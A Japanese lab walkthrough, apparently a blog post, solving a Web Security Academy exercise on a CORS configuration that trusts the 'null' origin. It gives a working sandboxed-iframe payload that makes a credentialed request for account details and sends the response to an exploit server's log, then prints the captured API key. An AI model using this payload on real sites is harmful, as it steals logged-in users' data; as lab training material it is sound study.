Hello there, ('ω')ノ
信頼できるヌルオリジンによるCORSの脆弱性を。
「null」オリジンを信頼するという点で安全でないCORS構成があって。
まずは、ログインして、マイアカウントをクリックして。
該当するリクエストは、/accountDetailsへのAJAXリクエストを介して取得されて。
レスポンスにCORSをサポートする可能性があることを示唆する。
Access-Control-Allow-Credentialsヘッダが含まれていて。
リクエストをリピータへ。
Origin:nullを使用してSendすると。
Access-Control-Allow-Originヘッダにnullが反映されるので。
エクスプロイトサーバで、下記を入力して。
まずは、nullオリジンリクエストを生成するため、iframeサンドボックスを使用して。
sandbox="" を追加してコンテンツにセキュリティ上の制限をかけて。
allow-scripts:スクリプトの実行を許可
allow-top-navigation:最上位のウィンドウの操作を許可
allow-forms:フォームの送信を許可
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
HTTP リクエストを送るに、 XMLHttpRequest オブジェクトを作成して。
var req = new XMLHttpRequest ();
生成したオブジェクトをonload属性に割り当てて。
req.onload = reqListener;
HTTPのGETメソッドとアクセスする場所を非同期で指定して。
req.open('get','https://acf91ff51e8853308036153700dc00d1.web-security-academy.net/accountDetails',true);
trueでリクエストに認証情報を含めて。
req.withCredentials = true;
エクスプロイトサーバーにアップロードして。
req.send();
function reqListener() {
location='https://ac1d1f671e3453f88064152f01b70009.web-security-academy.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
Storeして、View exploitをクリックして。
エクスプロイトが機能することを確認して。
Deliver exploit to victimをクリックして。
Administratorに該当するログをコピーして。
デコードして。
下記のAPIキーを入力すると。
cgCvRagZmcIn9ywIlbeK48BOKTluAkQz
クリアできた。
Best regards, (^^ゞ